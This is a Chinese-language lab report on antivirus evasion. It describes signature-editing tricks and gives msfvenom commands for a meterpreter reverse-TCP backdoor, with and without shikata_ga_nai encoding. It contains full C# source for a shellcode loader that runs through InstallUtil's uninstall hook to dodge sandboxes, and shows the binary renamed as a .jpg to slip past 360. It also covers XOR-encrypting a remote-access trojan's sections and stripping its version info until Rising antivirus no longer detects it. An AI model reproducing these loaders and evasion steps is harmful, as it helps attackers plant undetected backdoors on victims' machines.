(1)理解免杀技术原理
(2)正确使用msf编码器,veil-evasion,本身利用shellcode编程等免杀工具或技巧;
(成功实现了免杀的。如何作成功的简单语言描述便可,不要截图、指令。与杀软共生的结果验证要截图。)
(3)经过组合应用各类技术实现恶意代码免杀
(4)用另外一电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本shell
(1)杀软是如何检测出恶意代码的?
基于特征码的检测:根据特征码与杀软的特征库对比来识别恶意代码。
基于行为的恶意软件检测:经过判断是否进行一些恶意行为来判断是不是病毒,好比程序是否有更改注册表行为、是否有设置自启动、是否有修改权限等。
(2)免杀是作什么?
帮助恶意软件绕过杀毒软件的查杀。
(3)免杀的基本方法有哪些?编程
方法一:直接修改特征码的十六进制法
1.修改方法:把特征码所对应的十六进制改为数字差1或差很少的十六进制。
2.适用范围:必定要精肯定位特征码所对应的十六进制,修改后必定要测试一下可否正常使用。
方法二:修改字符串大小写法
1.修改方法:把特征码所对应的内容是字符串的,只要把大小字互换一下就能够了。
2.适用范围:特征码所对应的内容必需是字符串,不然不能成功。
方法三:等价替换法
1.修改方法:把特征码所对应的汇编指令命令中替换成功能类拟的指令。
2.适用范围:特征码中必需有能够替换的汇编指令.好比JN,JNE 换成JMP等。
方法四:指令顺序调换法
1.修改方法:把具备特征码的代码顺序互换一下。
2.适用范围:具备必定的局限性,代码互换后要不能影响程序的正常执行。
方法五:通用跳转法
1.修改方法:把特征码移到零区域(指代码的空隙处),而后一个JMP又跳回来执行。
2.适用范围:没有什么条件,是通用的改法,强烈建议你们要掌握这种改法。
文件免杀方法:
1.加冷门壳
2.加花指令
3.改程序入口点
4.改木马文件特征码的5种经常使用方法
5.还有其它的几种免杀修改技巧
内存免杀方法:
修改内存特征码:
方法1.直接修改特征码的十六进制法
方法2.修改字符串大小写法
方法3.等价替换法
方法4.指令顺序调换法
方法5.通用跳转法windows
经过实践让我了解到咱们的电脑即便安装杀毒软件也不是彻底安全的,加强信息安全意识很重要。同时了解到了杀毒软件的工做原理以及病毒绕过杀毒软件的方法,从两个角度更好的考虑如何完善安全功能。安全
须要利用社会工程学或者假装的方式将后门移植靶机中,这也是很重要的一点。网络
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.146 LPORT=5329 -f exe > 5329met-encoded.exe
生成文件,并复制到Windows系统,复制到本身的系统上被查杀
tcp
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.146 LPORT=5329 -f exe > 5329met-encoded10.exe
一样免杀效果很差,会被查杀。ide
1、实验准备
1.测试环境:windows 7 64位操做系统。
2.测试程序:windows自带的计算器程序(calc.exe)。由于咱们在本次实验中牵涉到shellcode的编写,但本身目前的能力还不足以可以编写执行对应恶意程序的shellcode,因此暂时以calc.exe代替恶意程序,来完成整个实验过程。
2、模拟加载恶意程序实验过程
1.使用metasploit下的msf模块生成对应64位系统中calc.exe的shellcode,配置代码如图所示
工具
生成的shellcode如图所示
学习
2.编写相应的使用使用shellcode的C#代码,并保存为shellcode.cs测试
using System; using System.Diagnostics; using System.Reflection; using System.Configuration.Install; using System.Runtime.InteropServices; public class Program { public static void Main() { Console.WriteLine("Hello From Main...I Don't Do Anything"); //Add any behaviour here to throw off sandbox execution/analysts :) } } [System.ComponentModel.RunInstaller(true)] public class Sample : System.Configuration.Install.Installer { //The Methods can be Uninstall/Install. Install is transactional, and really unnecessary. public override void Uninstall(System.Collections.IDictionary savedState) { Shellcode.Exec(); } } public class Shellcode { public static void Exec() { // native function's compiled code // generated with metasploit // this is from shellcode.txt above byte[] shellcode = new byte[276] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, 0x63,0x2e,0x65,0x78,0x65,0x00 }; UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; // prepare data IntPtr pinfo = IntPtr.Zero; // execute native code hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId ); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); }
3.将shellcode.cs放到path路径中,以便咱们能在cmd的环境下对其进行编译,执行代码为
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /unsafe /platform:x64 /out:exeshell.exe Shellcode.cs
编译后生成一个exeshell.exe的程序,并利用Installutil.exe加载这个程序,最后成功加载exeshell.exe并执行shellcode,弹出计算器,执行代码为
C:\Windows\Microsoft.NET\Framework64\v2.0.50727 \InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
如图所示
4.此时咱们测试生成的exeshell.exe的查杀状况,发现会被360报为木马文件。
!
5.此时咱们须要对生成的exeshell.exe进行静态免杀。根据360的警报信息能够看到此文件被认为是后门程序,所以咱们在生成的时候能够对文件的后缀名进行更改,好比改成exeshell.jpg。执行代码:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:exeshell.jpg Shellcode.cs C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.jpg
最后对更改后缀名后生成的exeshell.jpg查杀,发现能够成功逃过360的静态查杀,如图所示
当咱们普通操做下打开这个exeshell.jpg文件时,会显示一张损坏的图片,如图5-6所示。可是咱们仍然能够经过执行InstallUtil.exe来加载exeshell.jpg来正常打开原程序,而且拥有原程序完整的功能。
区段加密以前,须要为相关配置文件即abc.dat添加一个新的区段,以方便咱们以后的修改程序入口点、花指令的编写以及加密解密代码的编写。 使用lordPE查看程序入口地址以及,咱们所要加密的.code段和.data段以及新添加的区段的文件偏移地址。咱们能够得到.code段的虚拟地址。用ollydbg加载abc.dat文件,程序会定位在原始入口点地址,如今咱们跳转到新区段所在地址,能够看到一大片0区域。咱们选择在这里添加花指令以及加解密代码的编写。以后程序在被加载到内存的时候,会先执行这一段解密代码,因为加密是一次异或,解密是第二次异或,两次异或以后便获得原来的数据,从而成功解密。在添加完相应的指令以及代码以后,咱们须要把这段指令复制到可执行文件并保存文件。复制到可执行文件并保存后,咱们须要关闭当前的ollydbg窗口。打开新的ollydbg,并加载咱们刚才保存的文件,由于这个文件已经存在有加解密指令了。此时,咱们在加密代码前设置一个新的入口点,显示为黑色,让程序的执行跳转到此,并在第一段为.code代码段加密的代码结束为止设置一个断点,显示为红色。而后点全不执行,程序就会重新的入口点执行到所设置的断点处。通过这个步骤,.code代码段的加密已经结束,因为在下方的hex数据,咱们预先跳转到了.CODE代码段的虚拟地址,明显地看到了整个代码段数据的变化。所以,这个步骤结束以后咱们一样要讲加密以后的代码段的数据复制到可执行文件并保存。一样的方式,咱们再对.data数据段进行加密。完整加密以后咱们对保存的文件进行查杀测试,发现仍然会被瑞星查杀。在其余区段还存在特征码,由此咱们继续使用Myccl对文件进行特征码定位。 咱们用lordPE进行查看对应区段,发现特征码位于.rsrc资源段,而且从右边的字符中看到VERSION INFO的字样,由此咱们能够猜想,特征码位于版本信息上面
作到此处,脉络已经基本清晰。因为版本信息对于木马文件来将没有什么用处,咱们能够直接将其删掉,也能够换成其余正常程序的版本信息,在这里我选择将其删掉。并对最终保存的文件进行查杀,发现最终成功躲避了瑞星杀毒软件的查杀。
作完以后测试了一下Remote abc的功能以下图
在使用区段对Remote abc的服务端配置文件进行加密以后,咱们已经让文件及相应配置的服务端程序躲避杀毒软件的查杀,可是因为免杀处理的时候对文件二进制数据做了较多的改变,因此咱们须要对其正常的功能进行测试。在配置服务端的时候咱们能够选择提否弹出安装成功提示、安装完成以后是否删除自身等选项,配置好服务端。
在实验过程当中,利用用户权限执行命令
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /unsafe /platform:x64 /out:exeshell.exe Shellcode.cs
出现下图显示的状况
解决方法:用管理员身份运行